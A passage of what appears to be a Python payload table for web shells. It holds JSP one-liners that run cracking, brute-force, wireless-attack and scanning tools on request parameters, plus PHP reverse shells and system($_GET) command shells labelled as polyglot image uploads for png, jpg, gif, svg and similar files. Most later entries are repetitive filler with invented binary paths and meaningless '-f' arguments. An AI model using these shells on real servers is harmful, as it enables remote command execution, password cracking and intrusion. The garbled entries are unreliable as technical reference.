'ifconfig': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/ifconfig"});%>',

'iwconfig': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/iwconfig"});%>',

'iwlist': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/iwlist","scan"});%>',

'airmon': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/airmon-ng","start",request.getParameter("interface")});%>',

'airodump': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/airodump-ng",request.getParameter("interface")});%>',

'aireplay': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/aireplay-ng","-0",request.getParameter("count"),"-a",request.getParameter("bssid"),request.getParameter("interface")});%>',

'aircrack': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/aircrack-ng",request.getParameter("file")});%>',

'reaver': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/reaver","-i",request.getParameter("interface"),"-b",request.getParameter("bssid"),"-vv"});%>',

'bully': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/bully","-b",request.getParameter("bssid"),"-c",request.getParameter("channel"),request.getParameter("interface")});%>',

'pixiewps': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/pixiewps","-e",request.getParameter("pke"),"-s",request.getParameter("e-hash1"),"-z",request.getParameter("e-hash2"),"-a",request.getParameter("authkey"),"-n",request.getParameter("e-nonce")});%>',

'wifite': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/wifite","--help"});%>',

'fern': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/fern-wifi-cracker"});%>',

'cowpatty': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/cowpatty","-r",request.getParameter("file"),"-f",request.getParameter("dict"),"-s",request.getParameter("ssid")});%>',

'genpmk': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/genpmk","-f",request.getParameter("dict"),"-s",request.getParameter("ssid"),"-d",request.getParameter("output")});%>',

'pyrit': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/pyrit","-r",request.getParameter("file"),"-i",request.getParameter("dict"),"attack_passthrough"});%>',

'hashcat': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/hashcat","-m",request.getParameter("mode"),request.getParameter("hash"),request.getParameter("dict")});%>',

'john': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/john",request.getParameter("file")});%>',

'hydra': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/hydra","-l",request.getParameter("user"),"-P",request.getParameter("dict"),request.getParameter("service")+"://"+request.getParameter("host")});%>',

'medusa': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/medusa","-h",request.getParameter("host"),"-u",request.getParameter("user"),"-P",request.getParameter("dict"),"-M",request.getParameter("module")});%>',

'ncrack': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/ncrack","-p",request.getParameter("port"),"-U",request.getParameter("users"),"-P",request.getParameter("passwords"),request.getParameter("host")});%>',

'patator': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/patator",request.getParameter("module")+"_login","host="+request.getParameter("host"),"user="+request.getParameter("user"),"password="+request.getParameter("password")});%>',

'brutespray': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/brutespray","-f",request.getParameter("file"),"-U",request.getParameter("users"),"-P",request.getParameter("passwords")});%>',

'crowbar': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/crowbar","-b",request.getParameter("protocol"),"-s",request.getParameter("host"),"-u",request.getParameter("user"),"-c",request.getParameter("password")});%>',

'gobuster': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/gobuster","dir","-u",request.getParameter("url"),"-w",request.getParameter("wordlist")});%>',

'dirb': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/dirb",request.getParameter("url"),request.getParameter("wordlist")});%>',

'wfuzz': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/wfuzz","-c","-z",request.getParameter("payload"),request.getParameter("url")});%>',

'ffuf': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/ffuf","-c","-w",request.getParameter("wordlist"),"-u",request.getParameter("url")});%>',

'feroxbuster': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/feroxbuster","-u",request.getParameter("url"),"-w",request.getParameter("wordlist")});%>',

'rustbuster': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/rustbuster","dir","-u",request.getParameter("url"),"-w",request.getParameter("wordlist")});%>',

'cansina': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/cansina","-u",request.getParameter("url"),"-p",request.getParameter("payload")});%>',

'yawast': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/yawast",request.getParameter("url"),"--dirbuster"});%>',

'nikto': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/nikto","-h",request.getParameter("host")});%>',

'skipfish': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/skipfish","-o",request.getParameter("output"),request.getParameter("url")});%>',

'wapiti': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/wapiti","-u",request.getParameter("url")});%>',

'arachni': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/arachni",request.getParameter("url")});%>',

'vega': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/vega"});%>',

'burp': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/burpsuite"});%>',

'zap': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/zap"});%>',

'sqlmap': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/sqlmap","-u",request.getParameter("url"),"--dbs"});%>',

'nosqlmap': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/nosqlmap","-u",request.getParameter("url")});%>',

'commix': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/commix","-u",request.getParameter("url")});%>',

'wpscan': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/wpscan","--url",request.getParameter("url")});%>',

'joomscan': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/joomscan","-u",request.getParameter("url")});%>',

'droopest': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/droopescan","scan","drupal","-u",request.getParameter("url")});%>',

'cmsmap': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/cmsmap",request.getParameter("url")});%>',

'plecost': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/plecost","-u",request.getParameter("url")});%>',

'wpseku': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/wpseku","-t",request.getParameter("url")});%>',

'wpstress': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/wpstress","-u",request.getParameter("url")});%>',

'dtd': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/dtd","-f",request.getParameter("file")});%>',

'xxe': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xxe","-f",request.getParameter("file")});%>',

'xmlinject': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xmlinject","-f",request.getParameter("file")});%>',

'xslt': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xslt","-f",request.getParameter("file")});%>',

'xpath': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xpath","-f",request.getParameter("file")});%>',

'xquery': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xquery","-f",request.getParameter("file")});%>',

'xinclude': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xinclude","-f",request.getParameter("file")});%>',

'xpointer': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xpointer","-f",request.getParameter("file")});%>',

'xlink': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xlink","-f",request.getParameter("file")});%>',

'xschema': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xschema","-f",request.getParameter("file")});%>',

'xforms': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xforms","-f",request.getParameter("file")});%>',

'xhtml': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xhtml","-f",request.getParameter("file")});%>',

'xss': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/xss","-f",request.getParameter("file")});%>',

'csrf': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/csrf","-f",request.getParameter("file")});%>',

'clickjacking': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/clickjacking","-f",request.getParameter("file")});%>',

'session': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/session","-f",request.getParameter("file")});%>',

'cookie': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/cookie","-f",request.getParameter("file")});%>',

'jwt': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/jwt","-f",request.getParameter("file")});%>',

'oauth': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/oauth","-f",request.getParameter("file")});%>',

'saml': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/saml","-f",request.getParameter("file")});%>',

'ldap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ldap","-f",request.getParameter("file")});%>',

'kerberos': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/kerberos","-f",request.getParameter("file")});%>',

'ntlm': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ntlm","-f",request.getParameter("file")});%>',

'digest': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/digest","-f",request.getParameter("file")});%>',

'basic': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/basic","-f",request.getParameter("file")});%>',

'bearer': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/bearer","-f",request.getParameter("file")});%>',

'api': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/api","-f",request.getParameter("file")});%>',

'rest': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/rest","-f",request.getParameter("file")});%>',

'graphql': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/graphql","-f",request.getParameter("file")});%>',

'soap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/soap","-f",request.getParameter("file")});%>',

'rpc': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/rpc","-f",request.getParameter("file")});%>',

'grpc': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/grpc","-f",request.getParameter("file")});%>',

'thrift': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/thrift","-f",request.getParameter("file")});%>',

'avro': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/avro","-f",request.getParameter("file")});%>',

'protobuf': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/protobuf","-f",request.getParameter("file")});%>',

'capnproto': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/capnproto","-f",request.getParameter("file")});%>',

'flatbuffers': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/flatbuffers","-f",request.getParameter("file")});%>',

'msgpack': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/msgpack","-f",request.getParameter("file")});%>',

'bson': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/bson","-f",request.getParameter("file")});%>',

'cbor': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/cbor","-f",request.getParameter("file")});%>',

'ubjson': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ubjson","-f",request.getParameter("file")});%>',

'flexbuffers': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/flexbuffers","-f",request.getParameter("file")});%>',

'smile': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/smile","-f",request.getParameter("file")});%>',

'ion': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ion","-f",request.getParameter("file")});%>',

'hadoop': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/hadoop","-f",request.getParameter("file")});%>',

'spark': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/spark","-f",request.getParameter("file")});%>',

'flink': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/flink","-f",request.getParameter("file")});%>',

'storm': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/storm","-f",request.getParameter("file")});%>',

'kafka': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/kafka","-f",request.getParameter("file")});%>',

'zookeeper': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/zookeeper","-f",request.getParameter("file")});%>',

'cassandra': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/cassandra","-f",request.getParameter("file")});%>',

'mongodb': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/mongodb","-f",request.getParameter("file")});%>',

'couchdb': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/couchdb","-f",request.getParameter("file")});%>',

'neo4j': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/neo4j","-f",request.getParameter("file")});%>',

'elastic': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/elastic","-f",request.getParameter("file")});%>',

'solr': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/solr","-f",request.getParameter("file")});%>',

'lucene': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lucene","-f",request.getParameter("file")});%>',

'splunk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/splunk","-f",request.getParameter("file")});%>',

'elk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/elk","-f",request.getParameter("file")});%>',

'graylog': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/graylog","-f",request.getParameter("file")});%>',

'logstash': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/logstash","-f",request.getParameter("file")});%>',

'kibana': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/kibana","-f",request.getParameter("file")});%>',

'grafana': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/grafana","-f",request.getParameter("file")});%>',

'prometheus': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/prometheus","-f",request.getParameter("file")});%>',

'influxdb': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/influxdb","-f",request.getParameter("file")});%>',

'telegraf': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/telegraf","-f",request.getParameter("file")});%>',

'chronograf': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/chronograf","-f",request.getParameter("file")});%>',

'kapacitor': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/kapacitor","-f",request.getParameter("file")});%>',

'opennms': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/opennms","-f",request.getParameter("file")});%>',

'nagios': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/nagios","-f",request.getParameter("file")});%>',

'icinga': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/icinga","-f",request.getParameter("file")});%>',

'zabbix': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/zabbix","-f",request.getParameter("file")});%>',

'cacti': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/cacti","-f",request.getParameter("file")});%>',

'mrtg': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/mrtg","-f",request.getParameter("file")});%>',

'rrdtool': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/rrdtool","-f",request.getParameter("file")});%>',

'smokeping': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/smokeping","-f",request.getParameter("file")});%>',

'observium': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/observium","-f",request.getParameter("file")});%>',

'librenms': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/librenms","-f",request.getParameter("file")});%>',

'collectd': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/collectd","-f",request.getParameter("file")});%>',

'statsd': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/statsd","-f",request.getParameter("file")});%>',

'graphite': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/graphite","-f",request.getParameter("file")});%>',

'carbon': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/carbon","-f",request.getParameter("file")});%>',

'whisper': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/whisper","-f",request.getParameter("file")});%>',

'ceres': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ceres","-f",request.getParameter("file")});%>',

'kairosdb': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/kairosdb","-f",request.getParameter("file")});%>',

'blueflood': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/blueflood","-f",request.getParameter("file")});%>',

'atlas': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/atlas","-f",request.getParameter("file")});%>',

'villoc': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/villoc","-f",request.getParameter("file")});%>',

'pin': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/pin","-f",request.getParameter("file")});%>',

'valgrind': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/valgrind","-f",request.getParameter("file")});%>',

'gdb': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/gdb","-f",request.getParameter("file")});%>',

'lldb': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lldb","-f",request.getParameter("file")});%>',

'radare2': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/radare2","-f",request.getParameter("file")});%>',

'ida': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ida","-f",request.getParameter("file")});%>',

'binaryninja': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/binaryninja","-f",request.getParameter("file")});%>',

'hopper': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/hopper","-f",request.getParameter("file")});%>',

'ghidra': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ghidra","-f",request.getParameter("file")});%>',

'cutter': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/cutter","-f",request.getParameter("file")});%>',

'x64dbg': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/x64dbg","-f",request.getParameter("file")});%>',

'ollydbg': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ollydbg","-f",request.getParameter("file")});%>',

'windbg': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/windbg","-f",request.getParameter("file")});%>',

'immunity': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/immunity","-f",request.getParameter("file")});%>',

'pwndbg': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/pwndbg","-f",request.getParameter("file")});%>',

'peda': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/peda","-f",request.getParameter("file")});%>',

'gef': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/gef","-f",request.getParameter("file")});%>',

'voltron': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/voltron","-f",request.getParameter("file")});%>',

'angr': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/angr","-f",request.getParameter("file")});%>',

'manticore': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/manticore","-f",request.getParameter("file")});%>',

'mayhem': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/mayhem","-f",request.getParameter("file")});%>',

's2e': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/s2e","-f",request.getParameter("file")});%>',

'triton': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/triton","-f",request.getParameter("file")});%>',

'qiling': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/qiling","-f",request.getParameter("file")});%>',

'unicorn': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/unicorn","-f",request.getParameter("file")});%>',

'keystone': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/keystone","-f",request.getParameter("file")});%>',

'capstone': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/capstone","-f",request.getParameter("file")});%>',

'ropper': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ropper","-f",request.getParameter("file")});%>',

'ropgadget': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ropgadget","-f",request.getParameter("file")});%>',

'checksec': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/checksec","-f",request.getParameter("file")});%>',

'pwnchk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/pwnchk","-f",request.getParameter("file")});%>',

'seccomp': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/seccomp","-f",request.getParameter("file")});%>',

'strace': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/strace","-f",request.getParameter("file")});%>',

'ltrace': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ltrace","-f",request.getParameter("file")});%>',

'dtrace': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/dtrace","-f",request.getParameter("file")});%>',

'systemtap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/systemtap","-f",request.getParameter("file")});%>',

'perf': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/perf","-f",request.getParameter("file")});%>',

'oprofile': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/oprofile","-f",request.getParameter("file")});%>',

'dstat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/dstat","-f",request.getParameter("file")});%>',

'htop': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/htop","-f",request.getParameter("file")});%>',

'iotop': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/iotop","-f",request.getParameter("file")});%>',

'atop': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/atop","-f",request.getParameter("file")});%>',

'nmon': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/nmon","-f",request.getParameter("file")});%>',

'collectl': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/collectl","-f",request.getParameter("file")});%>',

'sar': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/sar","-f",request.getParameter("file")});%>',

'vmstat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/vmstat","-f",request.getParameter("file")});%>',

'iostat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/iostat","-f",request.getParameter("file")});%>',

'mpstat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/mpstat","-f",request.getParameter("file")});%>',

'pidstat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/pidstat","-f",request.getParameter("file")});%>',

'free': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/free","-f",request.getParameter("file")});%>',

'slabtop': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/slabtop","-f",request.getParameter("file")});%>',

'numastat': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/numastat","-f",request.getParameter("file")});%>',

'tuned': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/tuned","-f",request.getParameter("file")});%>',

'powertop': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/powertop","-f",request.getParameter("file")});%>',

'cpufreq': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/cpufreq","-f",request.getParameter("file")});%>',

'cpuid': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/cpuid","-f",request.getParameter("file")});%>',

'dmidecode': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/dmidecode","-f",request.getParameter("file")});%>',

'lshw': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lshw","-f",request.getParameter("file")});%>',

'lsusb': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lsusb","-f",request.getParameter("file")});%>',

'lspci': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lspci","-f",request.getParameter("file")});%>',

'lsblk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lsblk","-f",request.getParameter("file")});%>',

'blkid': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/blkid","-f",request.getParameter("file")});%>',

'fdisk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/fdisk","-l"});%>',

'parted': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/parted","-l"});%>',

'gparted': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/gparted","--version"});%>',

'testdisk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/testdisk","-v"});%>',

'photorec': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/photorec","-v"});%>',

'scalpel': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/scalpel","-v"});%>',

'foremost': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/foremost","-v"});%>',

'magicrescue': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/magicrescue","-v"});%>',

'ddrescue': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ddrescue","-v"});%>',

'safecopy': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/safecopy","-v"});%>',

'ddrescueview': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/ddrescueview","-v"});%>',

'gddrescue': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/gddrescue","-v"});%>',

'lde': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lde","-v"});%>',

'rstudio': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/rstudio","-v"});%>',

'autopsy': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/autopsy","-v"});%>',

'sleuthkit': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/sleuthkit","-v"});%>',

'tsk': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/tsk","-v"});%>',

'yara': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/yara",request.getParameter("rule"),request.getParameter("file")});%>',

'yarac': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/yarac",request.getParameter("rule"),request.getParameter("file")});%>',

'clamav': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/clamav","-f",request.getParameter("file")});%>',

'freshclam': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/freshclam","-f",request.getParameter("file")});%>',

'clamscan': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/clamscan","-f",request.getParameter("file")});%>',

'clamdscan': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/clamdscan","-f",request.getParameter("file")});%>',

'sigtool': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/sigtool","-f",request.getParameter("file")});%>',

'virsh': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/virsh","-f",request.getParameter("file")});%>',

'virt': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/virt","-f",request.getParameter("file")});%>',

'kvm': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/kvm","-f",request.getParameter("file")});%>',

'qemu': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/qemu","-f",request.getParameter("file")});%>',

'virtualbox': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/virtualbox","-f",request.getParameter("file")});%>',

'vmware': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/vmware","-f",request.getParameter("file")});%>',

'vbox': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/vbox","-f",request.getParameter("file")});%>',

'docker': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/docker","-f",request.getParameter("file")});%>',

'podman': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/podman","-f",request.getParameter("file")});%>',

'lxc': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lxc","-f",request.getParameter("file")});%>',

'lxd': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/lxd","-f",request.getParameter("file")});%>',

'rkt': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/rkt","-f",request.getParameter("file")});%>',

'systemd-nspawn': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/systemd-nspawn","-f",request.getParameter("file")});%>',

'chroot': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/chroot","-f",request.getParameter("file")});%>',

'schroot': '<%Runtime.getRuntime().exec(new String[]{"/usr/sbin/schroot","-f",request.getParameter("file")});%>',

'firejail': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/firejail","-f",request.getParameter("file")});%>',

'bubblewrap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/bubblewrap","-f",request.getParameter("file")});%>',

'flatpak': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/flatpak","-f",request.getParameter("file")});%>',

'snap': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/snap","-f",request.getParameter("file")});%>',

'appimage': '<%Runtime.getRuntime().exec(new String[]{"/usr/bin/appimage","-f",request.getParameter("file")});%>'

},

# Image File Extensions (polyglot shells)

'png': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'jpg': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'jpeg': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'gif': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'bmp': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'svg': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'ico': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'webp': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

# Document Extensions

'pdf': {

